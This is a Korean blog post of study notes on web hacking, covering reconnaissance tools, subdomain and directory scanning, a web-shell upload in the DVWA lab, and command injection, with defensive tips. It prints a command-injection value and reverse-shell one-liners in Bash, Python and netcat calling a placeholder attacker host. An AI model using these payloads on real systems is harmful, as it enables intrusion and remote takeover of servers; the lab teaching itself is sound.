웹 해킹

김동하·2025년 12월 25일

security

목록 보기
9/11
post-thumbnail

사이트에 대한 정보 모으기

이제 드디어 웹 해킹에 대해 알아본다. 본격적인 실습에 앞서 개념만 정리하고 가자. 웹 사이트란 무엇인가?

웹 사이트란 쉽게 말해 서버가 설치된 웹 애플리케이션이다. 그렇다면 흔히 말하는 웹 서버와 웹 애플리케이션은 무엇이 다른가

  • 웹 서버는 컴퓨터에 설치하는 프로그램이라고 할 수 있다.
  • 보통 컴퓨터 안 특정 폴더를 웹 루트 로 정하고
  • 그 폴더 안의 파일을 HTTP로 다른 컴퓨터(브라우저)에 서빙함
  • 같은 네트워크 안에서도 로컬로 동작 가능

반면 웹 애플리케이션은 좀 더 서버 친화적이다. 서버에서 실행될 수 있도록 설계되었고 실행 결과를 HTTP 응답으로 사용자 브라우저에게 전달한다.

웹 사이트를 해킹하는 경로로는 3가지 정도가 존재 한다.

1. 인프라, 서버 레벨(OS, 웹서버, DB 등)에 침투

웹사이트도 결국 서버(=컴퓨터) 위에서 돌아가는 것이기 때문에 취약점을 발견하여 침투한다.

2. 계정, 권한 침투

관리자의 계정이나 권한을 얻어 침투한다

3. 웹 애플리케이션 영역 침투

XSS나 SQLi처럼 웹앱의 취약점을 발견하여 공격한다.

도구를 사용해서 정보 취득

침투의 가장 첫 번째는 정보를 모으는 것이다. 아래의 사이트에서 정보를 모은다.

도메인을 통해 소유자의 정보, 등록기간, IP 주소 등 정보를 얻을 수 있는 사이트다.

기술 스택을 분석해주는 사이트다. 서버, 운영 체제 등 제공하여 취약점 파악할 수 있다. 또한, 호스팅 정보와 신뢰성 평가 등을 제공한다.

DNS 정보를 제공하여 도메인에 대한 DNS 레코드를 확인 할 수 있다. DNS 레코드는 해당 사이트의 호스팅 구조, 외부 의존성 등을 드러내는 설계도라고 생각하면 된다.

여기서 방어 포인트는, 이러한 정보들이 노출될 수 있으니 메일 스푸핑에 대한 대비, 공유 호스팅이면 계정 격리나 파일 권한 관리 고민 등을 해볼 수 있다.

같은 서버에 있는 다른 웹사이트

웹사이트도 결국 서버 위에 올라가고, 하나의 서버(같은 IP)에 여러 개의 웹 사이트가 있다

특히 공유 호스팅, 가상 호스팅 환경에서는 여러 도메인이 같은 IP를 공유하는 경우가 있기 때문에 한 사이트가 뚫리면 연쇄적으로 다른 사이트도 뚫릴 가능성이 있다.

  • ping으로 확인
  • 구글에서 IP로 검색

서브 도메인 찾기

서브 도메인 역시 보안의 관점에서 잘 살펴봐야 한다.

admin.target.com 처럼 보통 서브 도메인으로 관리자 페이지를 만드는 경우가 많고,

dev.target.com 처럼 테스트 애플리케이션인 경우가 많기 떄문에 침투가 쉬워진다.

  • knockpy

knockpy는 서브 도메인을 찾는 도구다. 예를들어 구글의 서브 도메인을 찾는다고 가정해보자

knockpy --domain google.com --recon

--recon--breuteforce 방식이 있는데, --recon은 공개된 DNS에서 이미 알려진 서브 도메인을 찾는다. 반면에 --breuteforce는 워드리스트를 만들어서 다 찾아본다(이 경우 법적문제 발생할 수 잇음!)

이렇게 서브 도메인 결과가 나온다.

디렉토리 스캐닝 (dirb)

이제 파일을 스캐닝하는 방법을 알아보자.

웹 루트(/var/www/)에는 생각보다 많은 파일들이 숨겨져있다.

설정 파일, 백업파일, 관리자 영역 등 많은 파일들이 있다.

웹서버에 대한 디렉토리 및 파일들을 스캔하기 위해서 dirb라는 도구를 사용해볼 것이다. dirb는 특정 웹사이트의 디렉토리 구조를 탐색하고, 존재하는 경로를 확인하여 보안 취약점을 찾는 데 도움을 준다.

그럼 http://192.168.64.3의 파일 디렉터리를 침투해보자

가령 위 웹서버에 mutillidae라는 페이지(파일)이 있다고 가정하자

이제 dirb을 이용하여 파일 티렉토리를 살핀다

dirb [타겟 웹서버 URL]

실행을 하면

이렇게 파일 디렉터리가 나온다.

방어적 관점에서는 /dev, /backup과 같은 유추 가능한 경로를 제거해야 하고 env, bak 같은 파일에 접근 차단 규칙을 정용하고 디렉터리 리스팅을 비활성화한다!

파일 업로드 취약점

웹사이트가 업로드된 파일을 제대로 검증 안 하면 공격자가 웹쉘을 업로드해서 서버를 제어할 수 있게 된다.

DVWA라는 웹 취약점 예제 사이트에서 업로드 테스트를 해볼것이다. 도구로는 weevely를 사용한다.

php로 파일을 하나 만들어서 업로드를 해볼 것이다.

이제 생성된 파일을 업로드 해본다.

업로드가 됐다!해당 리소스가 있는 웹서버 주소로 접속해보자

404 없이 페이지가 잘 나온다. 이제 weeveely를 통해 해당 URL을 접속한다.

이렇게 파일 시스템에 침투할 수가 있다.

이러한 침투를 방지하기 위해서는 업로드 파일은 웹 루트 밖에 저장하고, 업로드 디렉터리에서는 스크립트 실행을 금지해야 한다.

또한, 확장자 검사 뿐만 아니라 파일 시그니처 검사도 함께 병행하고 이미지 파일이라면 리사이즈해서 새파일로 저장해야한다(원본 버리고)

코드 실행 취약점

Code Execution Vulnerability란 사용자의 입력을 제대로 검증하지 않고 서버에서 OS 명령을 실행하는 로직을 그대로 실행해버리는 것을 뜻한다

예를들어 아래와 같이 핑을 쏠 수 있는 페이지가 있다고 가정하자

해당 Input은 실제로 리눅스 운영체제에서 핑 명령어를 실행한다. 이 점을 역이용하는 것이다. 예를들어 세미콜른을 넣으면, ping 뒤에 다른 명령이 이어서 실행될 수 있다

10.20.14.203; pwd 이러면 핑과 현재 디렉터리를 출력해버린다

이러한 취약점을 이용하여 TCP 소켓을 통해 웹사이트 IP와 포트로 연결한 후 쉘을 열어 원격에서 명령어를 실행을 해볼 수도 있다. 이를 reverse shell 페이로드라고 부른다.

Bash
bash -i >& /dev/tcp/AttackerIP/8080 0>&1

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("AttackerIP",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Netcat
nc -e /bin/sh AttackerIP 8080
...

각 언어별로 작업을 수행할 수 있으며 웹서버와의 환경이나 작업에 최적화된 언어를 선택하면 된다.

Netcat을 이용하여 침투해보자

nc -vv -l -p 8080 커맨드는 TCP 포트 8080에서 수신 대기하는 명령어다.

[공격자 IP]; nc -e /bin/sh [공격자 IP] 8080

DVWA 사이트의 핑 실행기에 위와 같은 명령어를 입력하면 이제 칼리 머신에서 해당 웹서버에 액세스할 수 있게 된다.

profile
프론트엔드 개발

0개의 댓글